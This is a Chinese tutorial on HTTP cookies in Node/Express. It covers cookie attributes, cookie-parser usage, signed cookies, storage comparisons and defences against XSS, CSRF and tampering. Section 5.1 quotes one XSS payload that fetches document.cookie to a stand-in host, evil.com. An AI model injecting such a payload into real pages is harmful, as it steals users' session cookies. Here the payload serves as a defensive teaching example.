Node系列 · Express:cookie 的基本概念
Cookie 是 Web 最古老的客户端存储机制——浏览器每次请求自动带上同源 Cookie。本章讲清楚 Cookie 的工作原理、关键属性、安全问题。
一、Cookie 是什么
Cookie 是服务器下发给浏览器的少量数据,浏览器自动在后续请求中带回去:
主要用于:
- 会话管理:登录状态、购物车
- 个性化:偏好设置、主题
- 追踪:广告投放(GA、Facebook Pixel)
二、Cookie 的关键属性
http
HTTP/1.1 200 OK
Set-Cookie: token=abc123; Path=/; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure; SameSite=Lax| 属性 | 作用 |
|---|---|
Name=Value | 键值对数据 |
Domain | 哪些域名可见(默认当前域) |
Path | 哪些路径发送(默认 /) |
Expires / Max-Age | 过期时间;不设 = 会话级(关浏览器就消失) |
HttpOnly | JS 无法访问(防 XSS) |
Secure | 仅 HTTPS 传输 |
SameSite | 跨站 Cookie 限制(防 CSRF) |
2.1 重要属性详解
HttpOnly:JS 通过 document.cookie 读不到——防 XSS 偷 Cookie:
javascript
// 有 HttpOnly:返回空字符串
document.cookie;
// 无 HttpOnly:返回 'token=abc123'Secure:只通过 HTTPS 发送——HTTP 请求中浏览器会自动删除这个 Cookie。
SameSite:
| 值 | 行为 |
|---|---|
Strict | 任何跨站请求都不带 |
Lax(默认) | 跨站 GET 导航带,POST / 表单提交 / iframe 不带 |
None | 任何请求都带(必须配合 Secure) |
Lax 是现代浏览器默认,强烈推荐——能挡掉大部分 CSRF 攻击。
三、Node 操作 Cookie
3.1 设置 Cookie
javascript
// 方式 1:用 Set-Cookie header
res.setHeader('Set-Cookie', 'token=abc123; HttpOnly; Path=/; Max-Age=3600');
// 方式 2:用 cookie-parser(推荐)
res.cookie('token', 'abc123', {
httpOnly: true,
secure: true, // 生产环境
sameSite: 'lax',
maxAge: 60 * 60 * 1000, // 1 小时
});3.2 读取 Cookie
javascript
const cookie = require('cookie-parser');
app.use(cookie());
app.get('/api/profile', (req, res) => {
const token = req.cookies.token;
if (!token) {
return res.status(401).json({ error: '未登录' });
}
// 验证 token...
res.json({ user: 'alice' });
});req.cookies 是对象:{ token: 'abc123', theme: 'dark' }。
3.3 删除 Cookie
javascript
res.clearCookie('token');服务器无法真正"删除"客户端的 Cookie,只能通过 Set-Cookie 把它设为过期——浏览器收到后会自动清除。
四、Cookie 大小与数量限制
| 浏览器 | 单 Cookie 大小 | 每域名 Cookie 数 |
|---|---|---|
| Chrome | 4096 字节 | ~180 |
| Firefox | 4096 字节 | ~150 |
| Safari | 4096 字节 | ~600 |
| Edge | 4096 字节 | ~180 |
WARNING
Cookie 不适合存大量数据——单个 4KB 上限,每个域名总数也有限制。大量数据用 sessionStorage / localStorage / IndexedDB。
五、安全风险
5.1 XSS 偷 Cookie
攻击者注入 <script>fetch('evil.com?c=' + document.cookie)</script> 把 Cookie 发走。
防护:Cookie 设 HttpOnly——JS 读不到。
5.2 CSRF(跨站请求伪造)
用户已登录 bank.com,访问恶意页面,恶意页面自动提交转账请求——浏览器自动带上 Cookie。
防护:
| 手段 | 原理 |
|---|---|
SameSite=Lax | 跨站请求不带 Cookie(现代浏览器默认) |
| CSRF Token | 表单带服务端生成的 token,攻击者拿不到 |
检查 Origin / Referer | 跨站请求的特征字段 |
5.3 Cookie 篡改
Cookie 存客户端,理论上可被修改——所以永远不要把关键状态直接放 Cookie 明文。要么:
- 签名(HMAC-SHA256)防止篡改
- 加密存 sessionId,服务端校验 session
cookie-parser 的 secret 参数就是用来签名验证的。
javascript
app.use(cookieParser('my-secret'));
// 设置签名 Cookie
res.cookie('user', 'alice', { signed: true });
// 读取:req.signedCookies.user 是验签后的值
// 如果被篡改,req.signedCookies.user === false六、Cookie vs LocalStorage vs SessionStorage
| 维度 | Cookie | LocalStorage | SessionStorage |
|---|---|---|---|
| 容量 | 4KB | ~5MB | ~5MB |
| 自动随请求发送 | ✅ | ❌ | ❌ |
| JS 可访问 | 受 HttpOnly 限制 | ✅ | ✅ |
| 生命周期 | 可设过期 | 永久(除非主动删) | 关页面即清 |
| 跨标签页共享 | ✅ | ✅ | ❌(仅当前标签) |
| 用途 | 会话标识、追踪 | 本地缓存 | 表单草稿 |
选型决策:
| 数据类型 | 推荐 |
|---|---|
| 会话 ID / 登录态 | Cookie(HttpOnly + Secure) |
| JWT token | Cookie(防 XSS 偷) 或 Authorization header |
| 用户偏好 / 草稿 | LocalStorage / SessionStorage |
| 缓存大体积数据 | IndexedDB |
七、最佳实践
| 场景 | 推荐 |
|---|---|
| 登录态 Cookie | HttpOnly + Secure + SameSite=Lax + Max-Age |
| JWT 存储 | Cookie(防 XSS)比 LocalStorage 更安全 |
| 第三方追踪 Cookie | 加 SameSite=None; Secure(跨站必需) |
| 敏感数据 | 不要存 Cookie——只存 ID,详情查服务端 |
| 签名 / 加密 | cookie-parser(secret) + signed: true |
| 删除 | 服务端用 res.clearCookie() |
八、小结
- Cookie 是浏览器自动随请求发送的小数据——用于会话管理 / 个性化 / 追踪
- 关键属性:
HttpOnly(防 XSS)、Secure(仅 HTTPS)、SameSite=Lax(防 CSRF) - 服务端用
cookie-parser读取:req.cookies/req.signedCookies - 设置:
res.cookie(name, value, options);删除:res.clearCookie(name) - 永远不要在 Cookie 存敏感数据明文——只存 ID,详情查服务端
- Cookie vs LocalStorage:Cookie 自动随请求发送适合会话,LocalStorage 适合本地缓存
